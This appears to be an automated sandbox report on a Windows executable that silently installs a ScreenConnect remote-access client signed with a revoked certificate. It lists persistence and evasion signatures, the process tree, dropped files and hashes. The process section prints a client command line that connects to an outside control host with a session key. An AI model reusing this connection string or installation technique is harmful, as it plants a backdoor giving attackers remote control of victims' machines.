Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    20/04/2026, 09:18

General

  • Target
    edd9bd489a8e5e70e3f7303ae370aa7f681237a4a8e493c135029a91bbb2b9e8.exe
  • Size 5.4MB
  • Sample260420-k9mprses2j
  • SHA256 edd9bd489a8e5e70e3f7303ae370aa7f681237a4a8e493c135029a91bbb2b9e8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\edd9bd489a8e5e70e3f7303ae370aa7f681237a4a8e493c135029a91bbb2b9e8.exe
    "C:\Users\Admin\AppData\Local\Temp\edd9bd489a8e5e70e3f7303ae370aa7f681237a4a8e493c135029a91bbb2b9e8.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4604
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\93e544c1d065d4fc\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4424
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1920
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 3769158D8C8920E716AE09FD9C66705C C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6040
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIEEF.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240652078 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:6112
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3564
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9BC65576256EC30A2DBB646FB98A1392
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5140
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 120583CB852F1C3555B80C09A35014C0 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1900
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5344
    • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=dwssa.top&p=8041&s=d2cc4391-d97f-4913-8426-087961dbcf60&k=BgIAAACkAABSU0ExAAgAAAEAAQBtA1QwnxmDJgtg5PSQKM2%2fXrI5tSvGXmobxKkpApfKRxNFds%2bAugKwIdxjohpe2e5g3JX%2bNW7Ud7QqxEwJCnkQ2P74R9wWgjFP9TldixXqM%2bjDxYI%2ffVSSK8Z5VPE3KZihrLqX7XnUCm7hKENugXVTpRbEY8if4It1oTHHdD%2f6%2fd%2b3uhTNg%2f418AN6A6GJf22t%2ffti0quDPPZ1kpkEmolUJDEH6pp%2f1UhDr7dtzVjA4iFa0Dp6sUth%2bKKk0UIO%2bBogCEAgcVyvPFToAf%2f0XH4g7geDuLAukDSN7N1AleZY9WkZ9n4q%2fW1rl6lvyAD1YPR3y%2ffpaKIxtGEjS4KCDZzD&c=Transport%2020%20may&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4772
      • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe" "RunRole" "ace115bf-c6d9-425f-9ddd-07a478e70eb0" "User"
        2⤵
        • Executes dropped EXE
        PID:3148
      • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe" "RunRole" "d62a2567-1642-46d3-a7ea-60ccee8bdcd3" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4888

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e583fe3.rbs

          • Path C:\Config.Msi\e583fe3.rbs
          • Size 214KB
          • SHA256 a0992ee7fc4c41f89ca42b64225eb3a2186dc1550a872da37bc0a6419707af59
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.Override.en-US.resources
          • Size 273B
          • SHA256 9fe5c3b34d425e03f2c989339e51bbff467ce8c85aa28368b86d7dae82376432
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.Override.resources
          • Size 257B
          • SHA256 881a6833d2845154005f4ca1df7302b531ba0076215278f3bac85fa889bcef40
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\app.config
          • Size 1KB
          • SHA256 e8b6f0e908926adc2c1fed9621697b083a20ce0f373b1f6aa00b649569f3f8cd
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\system.config
          • Size 947B
          • SHA256 4ee0491508c34424637f368d17cb2f6a1345a02ee6840e2b4898e6f83522979d
          • MD5 SHA1 SHA512 TLSH

          MSIEEF.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIEEF.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIEEF.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIEEF.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIEEF.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIEEF.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\93e544c1d065d4fc\ScreenConnect.ClientSetup.msi
          • Size 12.7MB
          • SHA256 4e247258b1f03ec4ea41bc76c77ada70faa8dae2d9fb038a53da7bd25fa6b123
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI4206.tmp

          • Path C:\Windows\Installer\MSI4206.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 f3c3f016d82daae620461687e38ac159059e3abb5106b8e83663a452b9ff1123
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {0a46f54f-8b40-4845-b765-4c4430abf28e}_OnDiskSnapshotProp

          • Path \??\Volume{f5ca1e61-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{0a46f54f-8b40-4845-b765-4c4430abf28e}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 2aa3b4e6c6950fb0d3d8fa84139375955a8497000717174be57c94170900c66e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1900-125-0x0000000000AA0000-0x0000000000B1A000-memory.dmp

          memory/1920-149-0x000001D677E00000-0x000001D677F9A000-memory.dmp

          memory/1920-51-0x000001D677E00000-0x000001D677F9A000-memory.dmp

          memory/3148-141-0x000000001BEC0000-0x000000001BF4C000-memory.dmp

          memory/3148-143-0x000000001C440000-0x000000001C5C8000-memory.dmp

          memory/3148-144-0x00000000014E0000-0x00000000014F8000-memory.dmp

          memory/3148-154-0x000000001BA20000-0x000000001BBBA000-memory.dmp

          memory/3148-142-0x000000001C100000-0x000000001C2AA000-memory.dmp

          memory/3148-140-0x0000000001710000-0x0000000001746000-memory.dmp

          memory/3148-139-0x0000000000D30000-0x0000000000DC6000-memory.dmp

          memory/3148-145-0x00000000017B0000-0x00000000017C8000-memory.dmp

          memory/3564-153-0x000002292A560000-0x000002292A6FA000-memory.dmp

          memory/3564-155-0x000002292A560000-0x000002292A6FA000-memory.dmp

          memory/4424-50-0x0000000002590000-0x000000000260A000-memory.dmp

          memory/4424-128-0x0000000002590000-0x000000000260A000-memory.dmp

          memory/4604-5-0x0000000005140000-0x00000000051CC000-memory.dmp

          memory/4604-2-0x0000000005130000-0x0000000005140000-memory.dmp

          memory/4604-0-0x0000000005130000-0x0000000005140000-memory.dmp

          memory/4604-8-0x0000000005CE0000-0x0000000006286000-memory.dmp

          memory/4604-1-0x00000000011E0000-0x00000000011E8000-memory.dmp

          memory/4604-7-0x00000000051D0000-0x000000000537A000-memory.dmp

          memory/4604-6-0x0000000001220000-0x0000000001242000-memory.dmp

          memory/4604-9-0x0000000005130000-0x0000000005140000-memory.dmp

          memory/4604-4-0x0000000005440000-0x0000000005730000-memory.dmp

          memory/4604-3-0x0000000005130000-0x0000000005140000-memory.dmp

          memory/4772-113-0x0000000004140000-0x0000000004181000-memory.dmp

          memory/4772-115-0x00000000043D0000-0x00000000044A2000-memory.dmp

          memory/4772-109-0x00000000041E0000-0x0000000004272000-memory.dmp

          memory/4772-108-0x00000000040A0000-0x00000000040D6000-memory.dmp

          memory/4772-104-0x00000000040F0000-0x0000000004140000-memory.dmp

          memory/4772-93-0x0000000003B90000-0x0000000003BA8000-memory.dmp

          memory/4888-148-0x000000001B520000-0x000000001B6BA000-memory.dmp

          memory/5140-126-0x0000000000DD0000-0x0000000000E4A000-memory.dmp

          memory/5344-150-0x000001F9AF890000-0x000001F9AFA2A000-memory.dmp

          memory/5344-56-0x000001F9AF890000-0x000001F9AFA2A000-memory.dmp

          memory/6040-127-0x0000000001490000-0x000000000150A000-memory.dmp

          memory/6040-52-0x0000000001490000-0x000000000150A000-memory.dmp

          memory/6112-43-0x00000000058D0000-0x0000000005A7A000-memory.dmp

          memory/6112-31-0x00000000055B0000-0x00000000055DE000-memory.dmp

          memory/6112-35-0x00000000055F0000-0x00000000055FA000-memory.dmp

          memory/6112-39-0x0000000005690000-0x000000000571C000-memory.dmp

          memory/6112-49-0x0000000002C30000-0x0000000002CAA000-memory.dmp